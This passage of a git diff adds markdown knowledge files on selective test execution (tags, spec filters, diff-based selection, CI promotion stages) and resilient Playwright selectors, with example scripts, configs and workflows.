+    expect(analyticsEvents).toBeDefined();
+  });
+});
+```
+
+**package.json scripts**:
+
+```json
+{
+  "scripts": {
+    "test": "playwright test",
+    "test:smoke": "playwright test --grep '@smoke'",
+    "test:p0": "playwright test --grep '@p0'",
+    "test:p0-p1": "playwright test --grep '@p0|@p1'",
+    "test:regression": "playwright test --grep '@regression'",
+    "test:nightly": "playwright test --grep '@nightly'",
+    "test:not-slow": "playwright test --grep-invert '@slow'",
+    "test:critical-smoke": "playwright test --grep '@smoke.*@p0'"
+  }
+}
+```
+
+**Cypress equivalent**:
+
+```javascript
+// cypress/e2e/checkout.cy.ts
+describe('Checkout Flow', { tags: ['@checkout'] }, () => {
+  it('should complete purchase', { tags: ['@smoke', '@p0'] }, () => {
+    cy.visit('/checkout');
+    cy.get('[data-cy="card-number"]').type('4242424242424242');
+    cy.get('[data-cy="submit-payment"]').click();
+    cy.get('[data-cy="order-confirmation"]').should('be.visible');
+  });
+
+  it('should handle decline', { tags: ['@regression', '@p0'] }, () => {
+    cy.visit('/checkout');
+    cy.get('[data-cy="card-number"]').type('4000000000000002');
+    cy.get('[data-cy="submit-payment"]').click();
+    cy.get('[data-cy="payment-error"]').should('be.visible');
+  });
+});
+
+// cypress.config.ts
+export default defineConfig({
+  e2e: {
+    env: {
+      grepTags: process.env.GREP_TAGS || '',
+      grepFilterSpecs: true,
+    },
+    setupNodeEvents(on, config) {
+      require('@cypress/grep/src/plugin')(config);
+      return config;
+    },
+  },
+});
+```
+
+**Usage**:
+
+```bash
+# Playwright
+npm run test:smoke                    # Run all @smoke tests
+npm run test:p0                       # Run all P0 tests
+npm run test -- --grep "@smoke.*@p0"  # Run tests with BOTH tags
+
+# Cypress (with @cypress/grep plugin)
+npx cypress run --env grepTags="@smoke"
+npx cypress run --env grepTags="@p0+@smoke"  # AND logic
+npx cypress run --env grepTags="@p0 @p1"     # OR logic
+```
+
+**Key Points**:
+
+- **Multiple tags per test**: Combine priority (@p0) with stage (@smoke)
+- **AND/OR logic**: Grep supports complex filtering
+- **Clear naming**: Tags document test importance
+- **Fast feedback**: @smoke runs < 5 min, full suite < 30 min
+- **CI integration**: Different jobs run different tag combinations
+
+---
+
+### Example 2: Spec Filter Pattern (File-Based Selection)
+
+**Context**: Run tests by file path pattern or directory for targeted execution.
+
+**Implementation**:
+
+```bash
+#!/bin/bash
+# scripts/selective-spec-runner.sh
+# Run tests based on spec file patterns
+
+set -e
+
+PATTERN=${1:-"**/*.spec.ts"}
+TEST_ENV=${TEST_ENV:-local}
+
+echo "🎯 Selective Spec Runner"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "Pattern: $PATTERN"
+echo "Environment: $TEST_ENV"
+echo ""
+
+# Pattern examples and their use cases
+case "$PATTERN" in
+  "**/checkout*")
+    echo "📦 Running checkout-related tests"
+    npx playwright test --grep-files="**/checkout*"
+    ;;
+  "**/auth*"|"**/login*"|"**/signup*")
+    echo "🔐 Running authentication tests"
+    npx playwright test --grep-files="**/auth*|**/login*|**/signup*"
+    ;;
+  "tests/e2e/**")
+    echo "🌐 Running all E2E tests"
+    npx playwright test tests/e2e/
+    ;;
+  "tests/integration/**")
+    echo "🔌 Running all integration tests"
+    npx playwright test tests/integration/
+    ;;
+  "tests/component/**")
+    echo "🧩 Running all component tests"
+    npx playwright test tests/component/
+    ;;
+  *)
+    echo "🔍 Running tests matching pattern: $PATTERN"
+    npx playwright test "$PATTERN"
+    ;;
+esac
+```
+
+**Playwright config for file filtering**:
+
+```typescript
+// playwright.config.ts
+import { defineConfig, devices } from '@playwright/test';
+
+export default defineConfig({
+  // ... other config
+
+  // Project-based organization
+  projects: [
+    {
+      name: 'smoke',
+      testMatch: /.*smoke.*\.spec\.ts/,
+      retries: 0,
+    },
+    {
+      name: 'e2e',
+      testMatch: /tests\/e2e\/.*\.spec\.ts/,
+      retries: 2,
+    },
+    {
+      name: 'integration',
+      testMatch: /tests\/integration\/.*\.spec\.ts/,
+      retries: 1,
+    },
+    {
+      name: 'component',
+      testMatch: /tests\/component\/.*\.spec\.ts/,
+      use: { ...devices['Desktop Chrome'] },
+    },
+  ],
+});
+```
+
+**Advanced pattern matching**:
+
+```typescript
+// scripts/run-by-component.ts
+/**
+ * Run tests related to specific component(s)
+ * Usage: npm run test:component UserProfile,Settings
+ */
+
+import { execSync } from 'child_process';
+
+const components = process.argv[2]?.split(',') || [];
+
+if (components.length === 0) {
+  console.error('❌ No components specified');
+  console.log('Usage: npm run test:component UserProfile,Settings');
+  process.exit(1);
+}
+
+// Convert component names to glob patterns
+const patterns = components.map((comp) => `**/*${comp}*.spec.ts`).join(' ');
+
+console.log(`🧩 Running tests for components: ${components.join(', ')}`);
+console.log(`Patterns: ${patterns}`);
+
+try {
+  execSync(`npx playwright test ${patterns}`, {
+    stdio: 'inherit',
+    env: { ...process.env, CI: 'false' },
+  });
+} catch (error) {
+  process.exit(1);
+}
+```
+
+**package.json scripts**:
+
+```json
+{
+  "scripts": {
+    "test:checkout": "playwright test **/checkout*.spec.ts",
+    "test:auth": "playwright test **/auth*.spec.ts **/login*.spec.ts",
+    "test:e2e": "playwright test tests/e2e/",
+    "test:integration": "playwright test tests/integration/",
+    "test:component": "ts-node scripts/run-by-component.ts",
+    "test:project": "playwright test --project",
+    "test:smoke-project": "playwright test --project smoke"
+  }
+}
+```
+
+**Key Points**:
+
+- **Glob patterns**: Wildcards match file paths flexibly
+- **Project isolation**: Separate projects have different configs
+- **Component targeting**: Run tests for specific features
+- **Directory-based**: Organize tests by type (e2e, integration, component)
+- **CI optimization**: Run subsets in parallel CI jobs
+
+---
+
+### Example 3: Diff-Based Test Selection (Changed Files Only)
+
+**Context**: Run only tests affected by code changes for maximum speed.
+
+**Implementation**:
+
+```bash
+#!/bin/bash
+# scripts/test-changed-files.sh
+# Intelligent test selection based on git diff
+
+set -e
+
+BASE_BRANCH=${BASE_BRANCH:-main}
+TEST_ENV=${TEST_ENV:-local}
+
+echo "🔍 Changed File Test Selector"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "Base branch: $BASE_BRANCH"
+echo "Environment: $TEST_ENV"
+echo ""
+
+# Get changed files
+CHANGED_FILES=$(git diff --name-only $BASE_BRANCH...HEAD)
+
+if [ -z "$CHANGED_FILES" ]; then
+  echo "✅ No files changed. Skipping tests."
+  exit 0
+fi
+
+echo "Changed files:"
+echo "$CHANGED_FILES" | sed 's/^/  - /'
+echo ""
+
+# Arrays to collect test specs
+DIRECT_TEST_FILES=()
+RELATED_TEST_FILES=()
+RUN_ALL_TESTS=false
+
+# Process each changed file
+while IFS= read -r file; do
+  case "$file" in
+    # Changed test files: run them directly
+    *.spec.ts|*.spec.js|*.test.ts|*.test.js|*.cy.ts|*.cy.js)
+      DIRECT_TEST_FILES+=("$file")
+      ;;
+
+    # Critical config changes: run ALL tests
+    package.json|package-lock.json|playwright.config.ts|cypress.config.ts|tsconfig.json|.github/workflows/*)
+      echo "⚠️  Critical file changed: $file"
+      RUN_ALL_TESTS=true
+      break
+      ;;
+
+    # Component changes: find related tests
+    src/components/*.tsx|src/components/*.jsx)
+      COMPONENT_NAME=$(basename "$file" | sed 's/\.[^.]*$//')
+      echo "🧩 Component changed: $COMPONENT_NAME"
+
+      # Find tests matching component name
+      FOUND_TESTS=$(find tests -name "*${COMPONENT_NAME}*.spec.ts" -o -name "*${COMPONENT_NAME}*.cy.ts" 2>/dev/null || true)
+      if [ -n "$FOUND_TESTS" ]; then
+        while IFS= read -r test_file; do
+          RELATED_TEST_FILES+=("$test_file")
+        done <<< "$FOUND_TESTS"
+      fi
+      ;;
+
+    # Utility/lib changes: run integration + unit tests
+    src/utils/*|src/lib/*|src/helpers/*)
+      echo "⚙️  Utility file changed: $file"
+      RELATED_TEST_FILES+=($(find tests/unit tests/integration -name "*.spec.ts" 2>/dev/null || true))
+      ;;
+
+    # API changes: run integration + e2e tests
+    src/api/*|src/services/*|src/controllers/*)
+      echo "🔌 API file changed: $file"
+      RELATED_TEST_FILES+=($(find tests/integration tests/e2e -name "*.spec.ts" 2>/dev/null || true))
+      ;;
+
+    # Type changes: run all TypeScript tests
+    *.d.ts|src/types/*)
+      echo "📝 Type definition changed: $file"
+      RUN_ALL_TESTS=true
+      break
+      ;;
+
+    # Documentation only: skip tests
+    *.md|docs/*|README*)
+      echo "📄 Documentation changed: $file (no tests needed)"
+      ;;
+
+    *)
+      echo "❓ Unclassified change: $file (running smoke tests)"
+      RELATED_TEST_FILES+=($(find tests -name "*smoke*.spec.ts" 2>/dev/null || true))
+      ;;
+  esac
+done <<< "$CHANGED_FILES"
+
+# Execute tests based on analysis
+if [ "$RUN_ALL_TESTS" = true ]; then
+  echo ""
+  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+  echo "🚨 Running FULL test suite (critical changes detected)"
+  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+  npm run test
+  exit $?
+fi
+
+# Combine and deduplicate test files
+ALL_TEST_FILES=(${DIRECT_TEST_FILES[@]} ${RELATED_TEST_FILES[@]})
+UNIQUE_TEST_FILES=($(echo "${ALL_TEST_FILES[@]}" | tr ' ' '\n' | sort -u))
+
+if [ ${#UNIQUE_TEST_FILES[@]} -eq 0 ]; then
+  echo ""
+  echo "✅ No tests found for changed files. Running smoke tests."
+  npm run test:smoke
+  exit $?
+fi
+
+echo ""
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "🎯 Running ${#UNIQUE_TEST_FILES[@]} test file(s)"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+
+for test_file in "${UNIQUE_TEST_FILES[@]}"; do
+  echo "  - $test_file"
+done
+
+echo ""
+npm run test -- "${UNIQUE_TEST_FILES[@]}"
+```
+
+**GitHub Actions integration**:
+
+```yaml
+# .github/workflows/test-changed.yml
+name: Test Changed Files
+on:
+  pull_request:
+    types: [opened, synchronize, reopened]
+
+jobs:
+  detect-and-test:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0 # Full history for accurate diff
+
+      - name: Get changed files
+        id: changed-files
+        uses: tj-actions/changed-files@v40
+        with:
+          files: |
+            src/**
+            tests/**
+            *.config.ts
+          files_ignore: |
+            **/*.md
+            docs/**
+
+      - name: Run tests for changed files
+        if: steps.changed-files.outputs.any_changed == 'true'
+        run: |
+          echo "Changed files: ${{ steps.changed-files.outputs.all_changed_files }}"
+          bash scripts/test-changed-files.sh
+        env:
+          BASE_BRANCH: ${{ github.base_ref }}
+          TEST_ENV: staging
+```
+
+**Key Points**:
+
+- **Intelligent mapping**: Code changes → related tests
+- **Critical file detection**: Config changes = full suite
+- **Component mapping**: UI changes → component + E2E tests
+- **Fast feedback**: Run only what's needed (< 2 min typical)
+- **Safety net**: Unrecognized changes run smoke tests
+
+---
+
+### Example 4: Promotion Rules (Pre-Commit → CI → Staging → Production)
+
+**Context**: Progressive test execution strategy across deployment stages.
+
+**Implementation**:
+
+```typescript
+// scripts/test-promotion-strategy.ts
+/**
+ * Test Promotion Strategy
+ * Defines which tests run at each stage of the development lifecycle
+ */
+
+export type TestStage = 'pre-commit' | 'ci-pr' | 'ci-merge' | 'staging' | 'production';
+
+export type TestPromotion = {
+  stage: TestStage;
+  description: string;
+  testCommand: string;
+  timebudget: string; // minutes
+  required: boolean;
+  failureAction: 'block' | 'warn' | 'alert';
+};
+
+export const TEST_PROMOTION_RULES: Record<TestStage, TestPromotion> = {
+  'pre-commit': {
+    stage: 'pre-commit',
+    description: 'Local developer checks before git commit',
+    testCommand: 'npm run test:smoke',
+    timebudget: '2',
+    required: true,
+    failureAction: 'block',
+  },
+  'ci-pr': {
+    stage: 'ci-pr',
+    description: 'CI checks on pull request creation/update',
+    testCommand: 'npm run test:changed && npm run test:p0-p1',
+    timebudget: '10',
+    required: true,
+    failureAction: 'block',
+  },
+  'ci-merge': {
+    stage: 'ci-merge',
+    description: 'Full regression before merge to main',
+    testCommand: 'npm run test:regression',
+    timebudget: '30',
+    required: true,
+    failureAction: 'block',
+  },
+  staging: {
+    stage: 'staging',
+    description: 'Post-deployment validation in staging environment',
+    testCommand: 'npm run test:e2e -- --grep "@smoke"',
+    timebudget: '15',
+    required: true,
+    failureAction: 'block',
+  },
+  production: {
+    stage: 'production',
+    description: 'Production smoke tests post-deployment',
+    testCommand: 'npm run test:e2e:prod -- --grep "@smoke.*@p0"',
+    timebudget: '5',
+    required: false,
+    failureAction: 'alert',
+  },
+};
+
+/**
+ * Get tests to run for a specific stage
+ */
+export function getTestsForStage(stage: TestStage): TestPromotion {
+  return TEST_PROMOTION_RULES[stage];
+}
+
+/**
+ * Validate if tests can be promoted to next stage
+ */
+export function canPromote(currentStage: TestStage, testsPassed: boolean): boolean {
+  const promotion = TEST_PROMOTION_RULES[currentStage];
+
+  if (!promotion.required) {
+    return true; // Non-required tests don't block promotion
+  }
+
+  return testsPassed;
+}
+```
+
+**Husky pre-commit hook**:
+
+```bash
+#!/bin/bash
+# .husky/pre-commit
+# Run smoke tests before allowing commit
+
+echo "🔍 Running pre-commit tests..."
+
+npm run test:smoke
+
+if [ $? -ne 0 ]; then
+  echo ""
+  echo "❌ Pre-commit tests failed!"
+  echo "Please fix failures before committing."
+  echo ""
+  echo "To skip (NOT recommended): git commit --no-verify"
+  exit 1
+fi
+
+echo "✅ Pre-commit tests passed"
+```
+
+**GitHub Actions workflow**:
+
+```yaml
+# .github/workflows/test-promotion.yml
+name: Test Promotion Strategy
+on:
+  pull_request:
+  push:
+    branches: [main]
+  workflow_dispatch:
+
+jobs:
+  # Stage 1: PR tests (changed + P0-P1)
+  pr-tests:
+    if: github.event_name == 'pull_request'
+    runs-on: ubuntu-latest
+    timeout-minutes: 10
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run PR-level tests
+        run: |
+          npm run test:changed
+          npm run test:p0-p1
+
+  # Stage 2: Full regression (pre-merge)
+  regression-tests:
+    if: github.event_name == 'push' && github.ref == 'refs/heads/main'
+    runs-on: ubuntu-latest
+    timeout-minutes: 30
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run full regression
+        run: npm run test:regression
+
+  # Stage 3: Staging validation (post-deploy)
+  staging-smoke:
+    if: github.event_name == 'workflow_dispatch'
+    runs-on: ubuntu-latest
+    timeout-minutes: 15
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run staging smoke tests
+        run: npm run test:e2e -- --grep "@smoke"
+        env:
+          TEST_ENV: staging
+
+  # Stage 4: Production smoke (post-deploy, non-blocking)
+  production-smoke:
+    if: github.event_name == 'workflow_dispatch'
+    runs-on: ubuntu-latest
+    timeout-minutes: 5
+    continue-on-error: true # Don't fail deployment if smoke tests fail
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run production smoke tests
+        run: npm run test:e2e:prod -- --grep "@smoke.*@p0"
+        env:
+          TEST_ENV: production
+
+      - name: Alert on failure
+        if: failure()
+        uses: 8398a7/action-slack@v3
+        with:
+          status: ${{ job.status }}
+          text: '🚨 Production smoke tests failed!'
+          webhook_url: ${{ secrets.SLACK_WEBHOOK }}
+```
+
+**Selection strategy documentation**:
+
+````markdown
+# Test Selection Strategy
+
+## Test Promotion Stages
+
+| Stage      | Tests Run           | Time Budget | Blocks Deploy | Failure Action |
+| ---------- | ------------------- | ----------- | ------------- | -------------- |
+| Pre-Commit | Smoke (@smoke)      | 2 min       | ✅ Yes        | Block commit   |
+| CI PR      | Changed + P0-P1     | 10 min      | ✅ Yes        | Block merge    |
+| CI Merge   | Full regression     | 30 min      | ✅ Yes        | Block deploy   |
+| Staging    | E2E smoke           | 15 min      | ✅ Yes        | Rollback       |
+| Production | Critical smoke only | 5 min       | ❌ No         | Alert team     |
+
+## When Full Regression Runs
+
+Full regression suite (`npm run test:regression`) runs in these scenarios:
+
+- ✅ Before merging to `main` (CI Merge stage)
+- ✅ Nightly builds (scheduled workflow)
+- ✅ Manual trigger (workflow_dispatch)
+- ✅ Release candidate testing
+
+Full regression does NOT run on:
+
+- ❌ Every PR commit (too slow)
+- ❌ Pre-commit hooks (too slow)
+- ❌ Production deployments (deploy-blocking)
+
+## Override Scenarios
+
+Skip tests (emergency only):
+
+```bash
+git commit --no-verify  # Skip pre-commit hook
+gh pr merge --admin     # Force merge (requires admin)
+```
+````
+
+```
+
+**Key Points**:
+- **Progressive validation**: More tests at each stage
+- **Time budgets**: Clear expectations per stage
+- **Blocking vs. alerting**: Production tests don't block deploy
+- **Documentation**: Team knows when full regression runs
+- **Emergency overrides**: Documented but discouraged
+
+---
+
+## Test Selection Strategy Checklist
+
+Before implementing selective testing, verify:
+
+- [ ] **Tag strategy defined**: @smoke, @p0-p3, @regression documented
+- [ ] **Time budgets set**: Each stage has clear timeout (smoke < 5 min, full < 30 min)
+- [ ] **Changed file mapping**: Code changes → test selection logic implemented
+- [ ] **Promotion rules documented**: README explains when full regression runs
+- [ ] **CI integration**: GitHub Actions uses selective strategy
+- [ ] **Local parity**: Developers can run same selections locally
+- [ ] **Emergency overrides**: Skip mechanisms documented (--no-verify, admin merge)
+- [ ] **Metrics tracked**: Monitor test execution time and selection accuracy
+
+## Integration Points
+
+- Used in workflows: `*ci` (CI/CD setup), `*automate` (test generation with tags)
+- Related fragments: `ci-burn-in.md`, `test-priorities-matrix.md`, `test-quality.md`
+- Selection tools: Playwright --grep, Cypress @cypress/grep, git diff
+
+_Source: 32+ selective testing strategies blog, Murat testing philosophy, enterprise CI optimization_
+```
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/selector-resilience.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/selector-resilience.md
new file mode 100644
index 0000000..06f0b04
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/selector-resilience.md
@@ -0,0 +1,527 @@
+# Selector Resilience
+
+## Principle
+
+Robust selectors follow a strict hierarchy: **data-testid > ARIA roles > text content > CSS/IDs** (last resort). Selectors must be resilient to UI changes (styling, layout, content updates) and remain human-readable for maintenance.
+
+## Rationale
+
+**The Problem**: Brittle selectors (CSS classes, nth-child, complex XPath) break when UI styling changes, elements are reordered, or design updates occur. This causes test maintenance burden and false negatives.
+
+**The Solution**: Prioritize semantic selectors that reflect user intent (ARIA roles, accessible names, test IDs). Use dynamic filtering for lists instead of nth() indexes. Validate selectors during code review and refactor proactively.
+
+**Why This Matters**:
+
+- Prevents false test failures (UI refactoring doesn't break tests)
+- Improves accessibility (ARIA roles benefit both tests and screen readers)
+- Enhances readability (semantic selectors document user intent)
+- Reduces maintenance burden (robust selectors survive design changes)
+
+## Pattern Examples
+
+### Example 1: Selector Hierarchy (Priority Order with Examples)
+
+**Context**: Choose the most resilient selector for each element type
+
+**Implementation**:
+
+```typescript
+// tests/selectors/hierarchy-examples.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Selector Hierarchy Best Practices', () => {
+  test('Level 1: data-testid (BEST - most resilient)', async ({ page }) => {
+    await page.goto('/login');
+
+    // ✅ Best: Dedicated test attribute (survives all UI changes)
+    await page.getByTestId('email-input').fill('user@example.com');
+    await page.getByTestId('password-input').fill('password123');
+    await page.getByTestId('login-button').click();
+
+    await expect(page.getByTestId('welcome-message')).toBeVisible();
+
+    // Why it's best:
+    // - Survives CSS refactoring (class name changes)
+    // - Survives layout changes (element reordering)
+    // - Survives content changes (button text updates)
+    // - Explicit test contract (developer knows it's for testing)
+  });
+
+  test('Level 2: ARIA roles and accessible names (GOOD - future-proof)', async ({ page }) => {
+    await page.goto('/login');
+
+    // ✅ Good: Semantic HTML roles (benefits accessibility + tests)
+    await page.getByRole('textbox', { name: 'Email' }).fill('user@example.com');
+    await page.getByRole('textbox', { name: 'Password' }).fill('password123');
+    await page.getByRole('button', { name: 'Sign In' }).click();
+
+    await expect(page.getByRole('heading', { name: 'Welcome' })).toBeVisible();
+
+    // Why it's good:
+    // - Survives CSS refactoring
+    // - Survives layout changes
+    // - Enforces accessibility (screen reader compatible)
+    // - Self-documenting (role + name = clear intent)
+  });
+
+  test('Level 3: Text content (ACCEPTABLE - user-centric)', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ✅ Acceptable: Text content (matches user perception)
+    await page.getByText('Create New Order').click();
+    await expect(page.getByText('Order Details')).toBeVisible();
+
+    // Why it's acceptable:
+    // - User-centric (what user sees)
+    // - Survives CSS/layout changes
+    // - Breaks when copy changes (forces test update with content)
+
+    // ⚠️ Use with caution for dynamic/localized content:
+    // - Avoid for content with variables: "User 123" (use regex instead)
+    // - Avoid for i18n content (use data-testid or ARIA)
+  });
+
+  test('Level 4: CSS classes/IDs (LAST RESORT - brittle)', async ({ page }) => {
+    await page.goto('/login');
+
+    // ❌ Last resort: CSS class (breaks with styling updates)
+    // await page.locator('.btn-primary').click()
+
+    // ❌ Last resort: ID (breaks if ID changes)
+    // await page.locator('#login-form').fill(...)
+
+    // ✅ Better: Use data-testid or ARIA instead
+    await page.getByTestId('login-button').click();
+
+    // Why CSS/ID is last resort:
+    // - Breaks with CSS refactoring (class name changes)
+    // - Breaks with HTML restructuring (ID changes)
+    // - Not semantic (unclear what element does)
+    // - Tight coupling between tests and styling
+  });
+});
+```
+
+**Key Points**:
+
+- Hierarchy: data-testid (best) > ARIA (good) > text (acceptable) > CSS/ID (last resort)
+- data-testid survives ALL UI changes (explicit test contract)
+- ARIA roles enforce accessibility (screen reader compatible)
+- Text content is user-centric (but breaks with copy changes)
+- CSS/ID are brittle (break with styling refactoring)
+
+---
+
+### Example 2: Dynamic Selector Patterns (Lists, Filters, Regex)
+
+**Context**: Handle dynamic content, lists, and variable data with resilient selectors
+
+**Implementation**:
+
+```typescript
+// tests/selectors/dynamic-selectors.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Dynamic Selector Patterns', () => {
+  test('regex for variable content (user IDs, timestamps)', async ({ page }) => {
+    await page.goto('/users');
+
+    // ✅ Good: Regex pattern for dynamic user IDs
+    await expect(page.getByText(/User \d+/)).toBeVisible();
+
+    // ✅ Good: Regex for timestamps
+    await expect(page.getByText(/Last login: \d{4}-\d{2}-\d{2}/)).toBeVisible();
+
+    // ✅ Good: Regex for dynamic counts
+    await expect(page.getByText(/\d+ items in cart/)).toBeVisible();
+  });
+
+  test('partial text matching (case-insensitive, substring)', async ({ page }) => {
+    await page.goto('/products');
+
+    // ✅ Good: Partial match (survives minor text changes)
+    await page.getByText('Product', { exact: false }).first().click();
+
+    // ✅ Good: Case-insensitive (survives capitalization changes)
+    await expect(page.getByText(/sign in/i)).toBeVisible();
+  });
+
+  test('filter locators for lists (avoid brittle nth)', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Bad: Index-based (breaks when order changes)
+    // await page.locator('.product-card').nth(2).click()
+
+    // ✅ Good: Filter by content (resilient to reordering)
+    await page.locator('[data-testid="product-card"]').filter({ hasText: 'Premium Plan' }).click();
+
+    // ✅ Good: Filter by attribute
+    await page
+      .locator('[data-testid="product-card"]')
+      .filter({ has: page.locator('[data-status="active"]') })
+      .first()
+      .click();
+  });
+
+  test('nth() only when absolutely necessary', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ⚠️ Acceptable: nth(0) for first item (common pattern)
+    const firstNotification = page.getByTestId('notification').nth(0);
+    await expect(firstNotification).toContainText('Welcome');
+
+    // ❌ Bad: nth(5) for arbitrary index (fragile)
+    // await page.getByTestId('notification').nth(5).click()
+
+    // ✅ Better: Use filter() with specific criteria
+    await page.getByTestId('notification').filter({ hasText: 'Critical Alert' }).click();
+  });
+
+  test('combine multiple locators for specificity', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // ✅ Good: Narrow scope with combined locators
+    const shippingSection = page.getByTestId('shipping-section');
+    await shippingSection.getByLabel('Address Line 1').fill('123 Main St');
+    await shippingSection.getByLabel('City').fill('New York');
+
+    // Scoping prevents ambiguity (multiple "City" fields on page)
+  });
+});
+```
+
+**Key Points**:
+
+- Regex patterns handle variable content (IDs, timestamps, counts)
+- Partial matching survives minor text changes (`exact: false`)
+- `filter()` is more resilient than `nth()` (content-based vs index-based)
+- `nth(0)` acceptable for "first item", avoid arbitrary indexes
+- Combine locators to narrow scope (prevent ambiguity)
+
+---
+
+### Example 3: Selector Anti-Patterns (What NOT to Do)
+
+**Context**: Common selector mistakes that cause brittle tests
+
+**Problem Examples**:
+
+```typescript
+// tests/selectors/anti-patterns.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Selector Anti-Patterns to Avoid', () => {
+  test('❌ Anti-Pattern 1: CSS classes (brittle)', async ({ page }) => {
+    await page.goto('/login');
+
+    // ❌ Bad: CSS class (breaks with design system updates)
+    // await page.locator('.btn-primary').click()
+    // await page.locator('.form-input-lg').fill('test@example.com')
+
+    // ✅ Good: Use data-testid or ARIA role
+    await page.getByTestId('login-button').click();
+    await page.getByRole('textbox', { name: 'Email' }).fill('test@example.com');
+  });
+
+  test('❌ Anti-Pattern 2: Index-based nth() (fragile)', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Bad: Index-based (breaks when product order changes)
+    // await page.locator('.product-card').nth(3).click()
+
+    // ✅ Good: Content-based filter
+    await page.locator('[data-testid="product-card"]').filter({ hasText: 'Laptop' }).click();
+  });
+
+  test('❌ Anti-Pattern 3: Complex XPath (hard to maintain)', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ❌ Bad: Complex XPath (unreadable, breaks with structure changes)
+    // await page.locator('xpath=//div[@class="container"]//section[2]//button[contains(@class, "primary")]').click()
+
+    // ✅ Good: Semantic selector
+    await page.getByRole('button', { name: 'Create Order' }).click();
+  });
+
+  test('❌ Anti-Pattern 4: ID selectors (coupled to implementation)', async ({ page }) => {
+    await page.goto('/settings');
+
+    // ❌ Bad: HTML ID (breaks if ID changes for accessibility/SEO)
+    // await page.locator('#user-settings-form').fill(...)
+
+    // ✅ Good: data-testid or ARIA landmark
+    await page.getByTestId('user-settings-form').getByLabel('Display Name').fill('John Doe');
+  });
+
+  test('✅ Refactoring: Bad → Good Selector', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // Before (brittle):
+    // await page.locator('.checkout-form > .payment-section > .btn-submit').click()
+
+    // After (resilient):
+    await page.getByTestId('checkout-form').getByRole('button', { name: 'Complete Payment' }).click();
+
+    await expect(page.getByText('Payment successful')).toBeVisible();
+  });
+});
+```
+
+**Why These Fail**:
+
+- **CSS classes**: Change frequently with design updates (Tailwind, CSS modules)
+- **nth() indexes**: Fragile to element reordering (new features, A/B tests)
+- **Complex XPath**: Unreadable, breaks with HTML structure changes
+- **HTML IDs**: Not stable (accessibility improvements change IDs)
+
+**Better Approach**: Use selector hierarchy (testid > ARIA > text)
+
+---
+
+### Example 4: Selector Debugging Techniques (Inspector, DevTools, MCP)
+
+**Context**: Debug selector failures interactively to find better alternatives
+
+**Implementation**:
+
+```typescript
+// tests/selectors/debugging-techniques.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Selector Debugging Techniques', () => {
+  test('use Playwright Inspector to test selectors', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // Pause test to open Inspector
+    await page.pause();
+
+    // In Inspector console, test selectors:
+    // page.getByTestId('user-menu')              ✅ Works
+    // page.getByRole('button', { name: 'Profile' }) ✅ Works
+    // page.locator('.btn-primary')               ❌ Brittle
+
+    // Use "Pick Locator" feature to generate selectors
+    // Use "Record" mode to capture user interactions
+
+    await page.getByTestId('user-menu').click();
+    await expect(page.getByRole('menu')).toBeVisible();
+  });
+
+  test('use locator.all() to debug lists', async ({ page }) => {
+    await page.goto('/products');
+
+    // Debug: How many products are visible?
+    const products = await page.getByTestId('product-card').all();
+    console.log(`Found ${products.length} products`);
+
+    // Debug: What text is in each product?
+    for (const product of products) {
+      const text = await product.textContent();
+      console.log(`Product text: ${text}`);
+    }
+
+    // Use findings to build better selector
+    await page.getByTestId('product-card').filter({ hasText: 'Laptop' }).click();
+  });
+
+  test('use DevTools console to test selectors', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // Open DevTools (manually or via page.pause())
+    // Test selectors in console:
+    // document.querySelectorAll('[data-testid="payment-method"]')
+    // document.querySelector('#credit-card-input')
+
+    // Find robust selector through trial and error
+    await page.getByTestId('payment-method').selectOption('credit-card');
+  });
+
+  test('MCP browser_generate_locator (if available)', async ({ page }) => {
+    await page.goto('/products');
+
+    // If Playwright MCP available, use browser_generate_locator:
+    // 1. Click element in browser
+    // 2. MCP generates optimal selector
+    // 3. Copy into test
+
+    // Example output from MCP:
+    // page.getByRole('link', { name: 'Product A' })
+
+    // Use generated selector
+    await page.getByRole('link', { name: 'Product A' }).click();
+    await expect(page).toHaveURL(/\/products\/\d+/);
+  });
+});
+```
+
+**Key Points**:
+
+- Playwright Inspector: Interactive selector testing with "Pick Locator" feature
+- `locator.all()`: Debug lists to understand structure and content
+- DevTools console: Test CSS selectors before adding to tests
+- MCP browser_generate_locator: Auto-generate optimal selectors (if MCP available)
+- Always validate selectors work before committing
+
+---
+
+### Example 2: Selector Refactoring Guide (Before/After Patterns)
+
+**Context**: Systematically improve brittle selectors to resilient alternatives
+
+**Implementation**:
+
+```typescript
+// tests/selectors/refactoring-guide.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Selector Refactoring Patterns', () => {
+  test('refactor: CSS class → data-testid', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Before: CSS class (breaks with Tailwind updates)
+    // await page.locator('.bg-blue-500.px-4.py-2.rounded').click()
+
+    // ✅ After: data-testid
